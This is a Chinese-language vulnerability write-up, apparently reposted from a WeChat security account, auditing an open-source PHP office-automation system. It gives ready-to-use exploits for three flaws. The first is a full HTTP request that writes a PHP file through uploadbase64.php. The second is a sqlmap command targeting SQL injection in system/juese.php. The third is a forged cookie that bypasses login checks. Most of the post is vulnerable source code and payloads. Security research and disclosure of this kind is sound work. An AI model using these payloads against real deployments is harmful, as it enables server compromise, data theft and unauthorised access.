0x00 前言
这OA界面长这样. 这套系统洞很多.
源码下载:https://down.chinaz.com/soft/43101.htm
0x01 前台任意文件写入
在/uploadbase64.php 中 POST传入imgbase64 并未限制后缀 先base64解码 然后 file_put_contents 写文件
/*** Description: PhpStorm.* Author: yoby* DateTime: 2018/12/4 18:01* Email:logove@qq.com* Copyright Yoby版权所有*/$img = $_POST['imgbase64'];if (preg_match('/^(data:s*image/(w+);base64,)/', $img, $result)) {$type = ".".$result[2];$path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;}$img = base64_decode(str_replace($result[1], '', $img));@file_put_contents($path, $img);exit('{"src":"'.$path.'"}');
Payload:
POST /uploadbase64.php HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 68Content-Type: application/x-www-form-urlencodedHost: 127.0.0.1Origin: http://127.0.0.1Referer: http://127.0.0.1/uploadbase64.phpSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36sec-ch-ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1imgbase64=data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==
文件上传在upload目录下
0x02 前台SQL注入
在/system/juese.php 中没有调用鉴权文件 checklogin.php 导致并未过滤参数 导致注入.
include("../db.php");switch ($_GET['action']) {case 'list':$pindex = max(1, intval($_GET['page']));$psize = $_GET['limit'];$key=$_GET['sjuese'];$sql="SELECT * FROM ".$db->tablename('juese') ." WHERE id>0";if($key!=''){$sql=$sql." and juese like '%$key%'";}$sql=$sql." ORDER BY id asc LIMIT ".($pindex - 1) * $psize.','.$psize;$list =$db->fetchall($sql);$total =count($list);$arr = ['msg' => '请求成功','code' => 0,'data' => $list,'count' => $total];exit(json_encode($arr));break;case 'addsave':$bianhao=$_POST['bianhao'];$juese=$_POST['juese'];$quanxian=$_POST['quanxian'];$menuid=$_POST['menuid'];$beizhu=$_POST['beizhu'];$data=compact('bianhao','juese','quanxian','menuid','beizhu');//构造数组$db->insert('juese',$data);//添加数据$arr=['isOk'=>1,'message'=>'角色添加成功'];exit(json_encode($arr));//返回break;case 'editsave':$id=$_POST['id'];$bianhao=$_POST['bianhao'];$juese=$_POST['juese'];$quanxian=$_POST['quanxian'];$menuid=$_POST['menuid'];$beizhu=$_POST['beizhu'];$data=compact('bianhao','juese','quanxian','menuid','beizhu');//构造数组$db->update('juese',$data,['id'=>$id]);//查询获取数组$arr= ['isOk'=>1,'message'=>'角色修改成功'];exit(json_encode($arr));break;case 'delall':$id = $_POST['ids'];$ids=explode(',',$id);//拆分为数组if($id==''){$arr=['isOk'=>0,'message'=>'删除记录不能为空'];exit(json_encode($arr));}// $data = compact('id');//构造数组等同array("id"=>2)$db->delete('juese',['id'=>$ids]);$arr= ['isOk'=>1,'message'=>'删除成功'];exit(json_encode($arr));break;}
直接跑sqlmap.
sqlmap.py -u "http://127.0.0.1/system/juese.php?action=list&page=1&limit=15&sjuese=*"
0x03 前台权限绕过
打开鉴权文件 checklogin.php 发现 islogin 方法下写了一大堆…..
function islogin(){if(isset($_COOKIE['id'])&&isset($_COOKIE['loginname'])&&isset($_COOKIE['jueseid'])&&isset($_COOKIE['danweiid'])&&isset($_COOKIE['quanxian'])){if($_COOKIE['id']!=''&&$_COOKIE['loginname']!=''&&$_COOKIE['jueseid']!=''&&$_COOKIE['danweiid']!=''&&$_COOKIE['quanxian']!=''){return true;}else {return false;}}else {return false;}}
只要cookie中带id loginname jueseid danweiid quanxian 且不为空 即可绕过鉴权
Payload:
Cookie:loginname=admin; jueseid=1; danweiid=1; quanxian=0; id=1免责声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，文章作者和本公众号不承担任何法律及连带责任，望周知！！！
原文始发于微信公众号（星悦安全）：某开源oa审计
